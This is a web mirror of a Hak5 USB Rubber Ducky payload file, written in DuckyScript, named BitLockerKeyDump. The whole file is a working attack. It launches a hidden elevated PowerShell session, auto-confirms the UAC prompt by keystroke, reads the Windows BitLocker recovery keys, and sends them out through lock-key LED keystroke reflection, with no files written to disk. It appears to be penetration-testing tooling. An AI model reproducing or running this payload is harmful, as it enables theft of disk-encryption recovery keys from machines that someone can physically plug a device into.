Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/credentials/BitLockerKeyDump/payload.txt
2968 views
1
REM BitLockerKeyDump
2
REM Version 1.0
3
REM OS: Windows
4
REM Author: 0i41E
5
REM Requirement: DuckyScript 3.0
6
REM This small powershell payload dumps the users BitLocker recovery key and exfiltrates them via Keystroke Reflection
7
8
REM Extension made by Korben for checking if Target is Windows OS
9
EXTENSION EXTENSION PASSIVE_WINDOWS_DETECT
10
REM VERSION 1.1
11
REM AUTHOR: Korben
12
13
REM_BLOCK DOCUMENTATION
14
Windows fully passive OS Detection and passive Detect Ready
15
Includes its own passive detect ready.
16
Does not require additional extensions.
17
18
USAGE:
19
Extension runs inline (here)
20
Place at beginning of payload (besides ATTACKMODE) to act as dynamic
21
boot delay
22
$_OS will be set to WINDOWS or NOT_WINDOWS
23
See end of payload for usage within payload
24
END_REM
25
26
REM CONFIGURATION:
27
DEFINE #MAX_WAIT 150
28
DEFINE #CHECK_INTERVAL 20
29
DEFINE #WINDOWS_HOST_REQUEST_COUNT 2
30
DEFINE #NOT_WINDOWS 7
31
32
$_OS = #NOT_WINDOWS
33
34
VAR $MAX_TRIES = #MAX_WAIT
35
WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))
36
DELAY #CHECK_INTERVAL
37
$MAX_TRIES = ($MAX_TRIES - 1)
38
END_WHILE
39
IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN
40
$_OS = WINDOWS
41
END_IF
42
43
REM_BLOCK EXAMPLE USAGE AFTER EXTENSION
44
IF ($_OS == WINDOWS) THEN
45
STRING HELLO WINDOWS!
46
ELSE
47
STRING HELLO WORLD!
48
END_IF
49
END_REM
50
END_EXTENSION
51
52
REM Extension made by 0i41E to signalize the payloads end
53
EXTENSION DETECT_FINISHED
54
REM VERSION 1.0
55
REM AUTHOR: 0i41E
56
57
REM_BLOCK DOCUMENTATION
58
USAGE:
59
Use the function Detect_Finished() to signal the finished execution of your payload.
60
END_REM
61
62
REM CONFIGURATION:
63
DEFINE #PAUSE 150
64
FUNCTION Detect_Finished()
65
IF ($_CAPSLOCK_ON == FALSE)
66
CAPSLOCK
67
DELAY #PAUSE
68
CAPSLOCK
69
DELAY #PAUSE
70
CAPSLOCK
71
DELAY #PAUSE
72
CAPSLOCK
73
ATTACKMODE OFF
74
ELSE IF
75
CAPSLOCK
76
DELAY #PAUSE
77
CAPSLOCK
78
DELAY #PAUSE
79
CAPSLOCK
80
ATTACKMODE OFF
81
END_IF
82
END_FUNCTION
83
END_EXTENSION
84
85
REM Extension made by 0i41E for fileless exfiltration via Lock Keys
86
EXTENSION WINDOWS_FILELESS_HID_EXFIL
87
REM VERSION 1.0
88
REM AUTHOR: 0i41E
89
90
REM_BLOCK DOCUMENTATION
91
Extension for Keystroke Reflection data exfiltration without putting files on disk.
92
This extension is a proof of concept for USB HID only Data Exfiltration and is based on Hak5s original Method.
93
94
TARGET:
95
Windows Hosts that supports powershell and SendKeys
96
97
USAGE:
98
Type out your command or script with powershell, don't execute it yet (so just type it out with STRING), afterwards you put the function Windows_Fileless_HID_Exfil() behind it.
99
It'll take the commands/scritps output and writes it into a variable, which then gets exfiltrated.
100
101
Example Usage:
102
GUI r
103
DELAY 500
104
STRINGLN powershell
105
DELAY 1000
106
STRING echo "This is my test"
107
Windows_Fileless_HID_Exfil()
108
END_REM
109
110
FUNCTION Windows_Fileless_HID_Exfil()
111
DELAY 250
112
REM Saving current Keyboard lock keys
113
SAVE_HOST_KEYBOARD_LOCK_STATE
114
$_EXFIL_MODE_ENABLED = TRUE
115
$_EXFIL_LEDS_ENABLED = TRUE
116
DELAY 500
117
REM Setting the output as variable
118
STRING |Out-String|Set-Variable -Name "DD";
119
REM Converting output into Lock Key values
120
STRING $BL = $DD.ToCharArray();$c = "";foreach ($b in $BL){foreach ($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){if ($b -band $a){$c += '%{NUMLOCK}'}else{$c += '%{CAPSLOCK}'}}}$c += '%{SCROLLLOCK}';
121
REM Exfiltrating via Keystroke Reflection
122
STRINGLN Add-Type -A System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait($c);exit
123
REM The final SCROLLLOCK value will be sent to indicate that EXFIL is complete.
124
WAIT_FOR_SCROLL_CHANGE
125
LED_G
126
$_EXFIL_MODE_ENABLED = FALSE
127
RESTORE_HOST_KEYBOARD_LOCK_STATE
128
END_FUNCTION
129
END_EXTENSION
130
131
REM Execution of "Yes" shortcut: ALT j (german), ALT y (english)
132
DEFINE #YES_SHORTCUT ALT j
133
134
REM If Target is Windows, execute payload
135
IF ($_OS == WINDOWS) THEN
136
GUI r
137
DELAY 500
138
REM Opening hidden powershell and pressing CAPSLOCK as Administrator
139
STRING powershell -nop -c "Add-Type -A System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait('{CAPSLOCK}');powershell.exe -nop -w h"
140
DELAY 250
141
CTRL-SHIFT ENTER
142
REM Rather long DELAY to increase reliability
143
DELAY 2000
144
REM Shortcut for pressing yes when UAC prompt appears
145
#YES_SHORTCUT
146
REM Check for CAPSLOCK change to see if execution as Admin was successful
147
WAIT_FOR_CAPS_CHANGE
148
DELAY 1500
149
REM Dumping recovery keys
150
STRING Get-BitLockerVolume|ForEach-Object{$drive = $_.MountPoint;$Key = [string]($_.KeyProtector).RecoveryPassword;if ($Key.Length -gt 5){Write-Output ("$drive Drive - Recovery Key: $Key")}}
151
REM Exfiltrating keys via Keystroke Reflection
152
Windows_Fileless_HID_Exfil()
153
DELAY 150
154
Detect_Finished()
155
REM If System is not Windows...
156
ELSE
157
DELAY 500
158
REM ... and CAPSLOCK is ON, open Storage...
159
IF ($_CAPSLOCK_ON == TRUE) THEN
160
ATTACKMODE STORAGE
161
REM ... If CAPSLOCK is OFF, stay in ATTACKMODE OFF
162
ELSE
163
LED_RED
164
DELAY 1000
165
LED_OFF
166
ATTACKMODE OFF
167
END_IF
168
END_IF
169
170